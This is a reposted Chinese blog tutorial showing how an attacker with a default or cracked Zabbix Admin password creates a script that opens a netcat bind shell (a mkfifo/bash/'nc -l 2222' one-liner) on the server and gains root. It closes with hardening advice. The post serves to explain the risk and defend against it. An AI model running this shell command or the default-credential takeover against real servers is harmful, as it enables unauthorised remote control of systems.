开发者社区> 科技小能手> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

Zabbix安全:破解弱口令后执行命令,获取shell

简介:
+关注继续查看

    如果你的Zabbix的Admin口令太弱或者使用了默认口令(Admin/zabbix),而被黑客破解了口令的话,Zabbix服务器在黑客面前就已经毫无抵抗力了。黑客可以创建“system.run[command,<mode>]”监控项执行命令,甚至获取服务器shell,获取root权限。

    先介绍下system.run[command,<mode>]”,这个监控项是agent自带的,使zabbix server可以远程在agent的机器上执行任意命令。方法有二:一是建立监控项,二是通过zabbix_get命令直接远程调用。使agent启用这个监控项要在配置文件里设置EnableRemoteCommands=1。命令执行权限限制于zabbix agent的启动用户,如果你为了方便,把agent的启动用户设置为root的话(AllowRoot=1),这是非常危险的。

wKiom1T5aq-jkcptAAJ65jNc1XY524.jpg

    下面模拟一个场景,展示黑客在获取Zabbix Admin口令的情况下,如何获取服务器的shell,甚至root权限:

    这里利用NetCat(nc)命令打开shell,如果你的系统是RedHat/CentOS系列,nc可以通过yum下载到。

     选择【Administration】->【Scripts】,创建一个script,如下图:

wKioL1T5cdrC573JAALmIjFxlAw432.jpg

    “Execute on”选择Zabbix server,“Commands”里输入:

1
2
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo /bin/bash -i 2>&1 | nc -l 2222 > /tmp/tmp_fifo

    上面的意思是打开一个shell,监听2222端口。

    进入【Dashboard】界面,在下面随便点击一个Host,会弹出一个“Scripts”选项卡,点击上面创建的“create shell”,这样上面的命令就会被执行。

wKiom1T5dADzBUAUAAKxQEV-E3M782.jpg

    到zabbix server服务器上可以看到2222号端口已经在监听了。

wKiom1T5dmzRWShWAAF-AanTyDg021.jpg

    下面我们在自己的机器上,用nc命令连接到server的shell:

wKiom1T5d_rwb1P9AAHHTfsOifc478.jpg

    上图显示我们成功获取了zabbix服务器的shell,而且是root权限!这是因为我的zabbix server是以root启动的。

    下面说一下如何对zabbix安全加固,防止这种情况发生:

    1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令。

    2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1。

    3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。

    4、经常打安全补丁,如果系统内核版本过低有漏洞的话,即使在zabbix用户下照样能获取root权限。


    参考

    sohu漏洞案例:

    http://www.wooyun.org/bugs/wooyun-2013-023089

    Netcat 命令:

    http://www.oschina.net/translate/linux-netcat-command


本文转自 张斌_青岛 51CTO博客,原文链接:http://blog.51cto.com/qicheng0211/1618031

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
shell脚本配合zabbix实现tomcat的故障自愈
shell脚本配合zabbix实现tomcat的故障自愈 1.背景及实现方式方法 Tomcat运行JAVA类的程序代码经常会导致内存溢出,往往都是收到告警后再去处理,收到报警再处理就会拖延故障解决的时间,因此就需要靠故障自愈的机制来解决人为干预的成本。
0 0
shell脚本实现zabbix监控信息收集
zabbix信息收集 一般zabbix信息收集都是写成脚本 思路:将监控的信息写成函数,使用位置参数$1来调用函数即可,一般都是zabbix来传参
0 0
linux下安装zabbix服务器shell脚本-添加主机-邮件监控报警zabbix-自动化运维
分布式网络监控平台;分为手动和自动安装,添加主机-邮件监控报警zabbix
0 0
ZABBIX4.0配置新版钉钉报警,使用shell脚本实现
ZABBIX4.0配置新版钉钉报警,使用shell脚本实现
0 0
文章
问答
文章排行榜
最热
最新
相关电子书
更多
Shell 脚本速查手册
立即下载
《Zabbix 监控常用手册》
立即下载
低代码开发师(初级)实战教程
立即下载